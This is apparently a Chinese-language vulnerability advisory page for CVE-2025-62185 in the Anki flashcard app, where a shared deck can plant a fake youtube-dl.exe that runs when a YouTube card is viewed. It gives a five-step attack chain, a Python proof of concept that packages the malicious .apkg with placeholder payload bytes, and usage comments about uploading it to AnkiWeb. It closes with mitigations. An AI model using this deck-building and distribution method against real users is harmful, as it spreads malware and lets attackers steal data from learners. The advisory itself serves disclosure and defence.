IPBUF安全漏洞报告
English
CVE-2025-62185 CVSS 6.7 中危

CVE-2025-62185 Anki共享牌组远程代码执行漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-62185
漏洞类型
远程代码执行(不安全可执行文件加载)
CVSS评分
6.7 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ankitects Anki

相关标签

远程代码执行RCEAnkiAnkitects共享牌组不安全加载可执行文件Windowsyoutube-dlyt-dlp

漏洞概述

CVE-2025-62185是Ankitects Anki闪卡学习软件中存在的一个安全漏洞,影响25.02.5之前的所有版本。该漏洞源于Anki在处理共享牌组(shared deck)时,对媒体文件夹中的可执行文件缺乏有效验证。攻击者可以制作一个恶意的共享牌组,将名为youtube-dl.exe、yt-dlp.exe或yt-dlp_x86.exe的可执行文件放置在牌组的媒体文件夹中。当用户导入该共享牌组并在牌组中遇到YouTube链接时,Anki会自动执行这些伪装成YouTube下载器的恶意可执行文件,从而导致远程代码执行。

该漏洞的CVSS 3.1评分为6.7,属于中等严重等级。虽然攻击向量为本地(AV:L),但攻击复杂度较高(AC:H),且无需认证(PR:N)和用户交互(UI:N)。一旦利用成功,攻击者可以获得与Anki进程相同的权限,对系统的机密性(C:H)和完整性(I:H)造成严重影响,但不会影响系统可用性(A:N)。

Anki是一款广泛使用的开源间隔重复学习软件,全球拥有数百万用户。该漏洞的潜在影响范围较大,因为共享牌组是Anki社区的核心功能之一,用户经常从AnkiWeb或其他来源下载和导入他人制作的牌组。如果攻击者将恶意牌组上传到公共牌组共享平台,可能导致大量用户遭受攻击。Anki官方已在25.02.5版本中修复了该漏洞,建议所有用户尽快升级到最新版本。

技术细节

Anki的共享牌组(.apkg文件)本质上是一个包含牌组数据和媒体文件的压缩包。当用户导入共享牌组时,Anki会解压其中的媒体文件到collection.media文件夹中。Anki内置了对YouTube链接的特殊处理功能,当检测到卡片内容中包含YouTube链接时,会尝试调用YouTube下载工具(如youtube-dl或yt-dlp)来下载视频内容。

漏洞的根本原因在于Anki在查找和执行YouTube下载器时,未对可执行文件的来源、签名或完整性进行验证。具体而言,Anki会在媒体文件夹及其相关路径中查找名为youtube-dl.exe、yt-dlp.exe或yt-dlp_x86.exe的可执行文件并执行它们。攻击者利用这一机制,在制作恶意共享牌组时,将一个精心构造的可执行文件命名为上述名称之一,并放入牌组的媒体文件夹中。

当受害者导入该恶意牌组后,媒体文件被解压到本地媒体目录。随后,当用户浏览包含YouTube链接的卡片时,Anki会在媒体目录中查找YouTube下载器,优先找到攻击者植入的恶意可执行文件并执行它。由于可执行文件以Anki进程的权限运行,攻击者可以执行任意代码,包括窃取用户数据、安装后门或进行其他恶意活动。

该漏洞的利用需要满足以下条件:1)受害者导入恶意共享牌组;2)牌组中包含YouTube链接的卡片;3)受害者的操作系统为Windows(因为涉及.exe文件)。虽然攻击复杂度较高(AC:H),但整个过程对用户透明,无需额外交互。

攻击链分析

STEP 1
步骤1:制作恶意共享牌组
攻击者创建一个恶意的Anki共享牌组(.apkg文件),将恶意可执行文件命名为youtube-dl.exe、yt-dlp.exe或yt-dlp_x86.exe,并放入牌组的媒体文件夹中。同时在牌组中创建包含YouTube链接的卡片。
STEP 2
步骤2:分发恶意牌组
攻击者将恶意牌组上传到AnkiWeb公共牌组平台或其他共享渠道,伪装成正常的学习牌组(如语言学习、医学考试等),诱导用户下载和导入。
STEP 3
步骤3:用户导入牌组
受害者在Anki(版本低于25.02.5)中导入该恶意共享牌组,Anki自动解压媒体文件,将youtube-dl.exe等恶意可执行文件放置到collection.media目录中。
STEP 4
步骤4:触发可执行文件执行
当受害者浏览牌组中包含YouTube链接的卡片时,Anki尝试调用YouTube下载器,在媒体目录中找到攻击者植入的恶意可执行文件并执行。
STEP 5
步骤5:远程代码执行
恶意可执行文件以Anki进程的权限运行,攻击者获得代码执行能力,可以窃取用户数据、安装后门、下载额外恶意软件或进行其他恶意活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62185 PoC - Malicious Anki Deck with Fake YouTube Downloader # This PoC demonstrates how to create a malicious Anki shared deck (.apkg) # that exploits the unsafe executable loading vulnerability in Anki < 25.02.5 import zipfile import os import shutil from pathlib import Path # Step 1: Create a malicious executable disguised as a YouTube downloader # This could be any Windows executable (PE file) # For demonstration, we create a simple batch file renamed as .exe # In a real attack, this would be a compiled payload (e.g., reverse shell) def create_malicious_executable(): """Create a fake youtube-dl.exe payload""" payload = b"MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00" payload += b"\xb8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" # In real exploit, this would be a full PE executable with malicious code # e.g., shellcode, reverse shell, credential stealer, etc. payload += b"MALICIOUS_PAYLOAD_HERE" * 100 return payload # Step 2: Create the Anki collection database with a YouTube card def create_collection_db(): """Create a minimal Anki collection with a YouTube link card""" # The card content must contain a YouTube URL to trigger the downloader execution card_front = "Watch this video: [sound:youtube-dl.exe]" card_back = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" # In a real scenario, this would be a proper SQLite database (collection.anki2) return f"ANKI_COLLECTION_WITH_YOUTUBE_CARD: {card_front} | {card_back}".encode() # Step 3: Package the malicious deck def create_malicious_apkg(output_path="malicious_deck.apkg"): """Package the malicious executable and card data into an .apkg file""" with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as apkg: # Add the malicious executable to the media folder # Anki will extract this to collection.media directory apkg.writestr("youtube-dl.exe", create_malicious_executable()) # Alternative names that Anki looks for: # apkg.writestr("yt-dlp.exe", create_malicious_executable()) # apkg.writestr("yt-dlp_x86.exe", create_malicious_executable()) # Add the collection database with YouTube link cards apkg.writestr("collection.anki2", create_collection_db()) # Add media manifest (media mapping JSON) media_map = '{"0": "youtube-dl.exe"}' apkg.writestr("media", media_map.encode()) print(f"[+] Malicious deck created: {output_path}") print(f"[!] When imported into Anki < 25.02.5, the youtube-dl.exe will be") print(f"[!] extracted to collection.media/ and executed when YouTube card is viewed.") if __name__ == "__main__": create_malicious_apkg() # Usage: # 1. Run this script to generate malicious_deck.apkg # 2. Upload to AnkiWeb or share via any channel # 3. When victim imports the deck in Anki < 25.02.5 and views a YouTube card, # the malicious executable runs with the user's privileges

影响范围

Ankitects Anki < 25.02.5

防御指南

临时缓解措施
在无法立即升级到25.02.5版本的情况下,建议采取以下临时缓解措施:1)不要导入任何来源不明的共享牌组,特别是来自AnkiWeb公共牌组平台的陌生牌组;2)在导入牌组前,先使用压缩工具检查.apkg文件内容,确认媒体文件夹中不包含可执行文件;3)在Anki的collection.media目录中预先创建名为youtube-dl.exe、yt-dlp.exe、yt-dlp_x86.exe的空文件或只读文件,阻止恶意可执行文件的放置;4)以非管理员权限运行Anki,限制恶意代码执行后的权限范围;5)启用实时杀毒软件监控,及时检测和拦截可疑可执行文件的执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表